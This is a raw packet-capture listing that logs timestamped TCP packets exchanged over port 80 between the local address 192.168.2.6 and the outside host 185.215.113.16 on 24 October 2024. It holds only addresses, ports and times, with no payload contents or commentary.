Oct 24, 2024 04:57:43.815128088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.815143108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.815155983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.815224886 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.815294981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.815500021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.815551996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.816016912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816041946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816057920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816072941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816095114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816099882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.816111088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816116095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.816127062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816143990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816207886 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.816391945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816441059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816454887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.816487074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.845118046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.845156908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.845333099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.903501987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.903522968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.903537989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.903633118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.935349941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.935405016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.935420990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.986650944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.018260956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.018285036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.018353939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.022965908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.023005009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.023041964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.023060083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.064677954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.137599945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.137654066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.137691975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.137711048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.142345905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.142395020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.142402887 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.142432928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.142469883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.142473936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.189629078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.256927967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.256954908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.256973982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.257148027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.262022972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.262041092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.262058020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.262073994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.262089968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.262099981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.262140989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.376368999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.376396894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.376416922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.376538038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.381382942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.381397963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.381414890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.381432056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.381469011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.381496906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.381514072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.381530046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.381530046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.381570101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.495635033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.495696068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.495737076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.495771885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.501185894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.501204014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.501219988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.501235008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.501251936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.501261950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.501295090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.501349926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.614890099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.614933014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.614968061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.614996910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.620425940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.620457888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.620501995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.620510101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.620546103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.620560884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.620583057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:44.620625973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.865232944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:44.870676041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148592949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148637056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148703098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148715019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.148734093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148806095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148832083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.148840904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148876905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148929119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.148932934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148962021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.148983955 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.149161100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.149194002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.149209976 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.149229050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.149583101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.267838001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.267858028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.267960072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.267961979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.267980099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.268032074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.306852102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.306868076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.306881905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.306898117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.306912899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.306926012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.306927919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.306972980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.386965990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.386996984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.387007952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.387062073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.387279987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.387305975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.387325048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.387327909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.387373924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.425982952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.426033974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.426054955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.426065922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.426075935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.426100016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.426140070 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.426317930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.426330090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.426361084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.470911026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.506257057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.506295919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.506375074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.506391048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.506393909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.506406069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.506439924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.506448030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.507033110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.545336962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.545384884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.545394897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.545443058 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.545485020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.545546055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.545555115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.545555115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.545595884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.590048075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.590070963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.590136051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.625847101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.625864983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.625876904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.625926018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.664592028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.664608955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.664622068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.664705038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.664710045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.664710999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.664720058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.664732933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.664781094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.664973974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.665021896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.665039062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.665077925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.665119886 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.744981050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.744998932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.745008945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.745044947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.784231901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.784244061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.784254074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.784261942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.784271002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.784280062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.784288883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.784296989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.784307003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.784308910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.784346104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.864233017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.864245892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.864254951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.864264011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.864312887 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.864356041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.903228045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.903270006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.903294086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.903307915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.903321981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:45.903332949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:45.903367043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.054970026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.054992914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.055047035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.102993965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103035927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103065014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103081942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103094101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.103097916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103116035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103132963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103133917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.103151083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103151083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.103188038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.103379965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103395939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103414059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103429079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.103430033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.103482962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.143192053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.143223047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.143248081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.143263102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.143273115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.143280983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.143296003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.143305063 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.143353939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.174325943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.174343109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.174401045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.222317934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.222335100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.222388983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.262408018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.262445927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.262465954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.262492895 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.262495995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.262514114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.262532949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.314621925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.341500998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.341530085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.341545105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.341578007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.341612101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.341628075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.341641903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.341655016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.341686010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.381669998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.381725073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.381772041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.381778955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.381813049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.381849051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.381855965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.424051046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.461179018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.461208105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.461224079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.461241007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.461245060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.461287022 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.461353064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.461400032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.461441040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.501051903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.501086950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.501104116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.501135111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.501132965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.501151085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.501168966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.501177073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.501213074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.501380920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.501406908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.501449108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.580800056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.580882072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.580897093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.580930948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.620323896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.620351076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.620364904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.620378971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.620405912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.620415926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.620434046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.620450974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.620474100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.620506048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.620521069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.620536089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.620542049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.620570898 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.700061083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.700108051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.700124025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.700151920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.739538908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.739579916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.739592075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.739593983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.739610910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.739640951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.739722967 CEST	80	49774	185.215.113.16	192.168.2.6
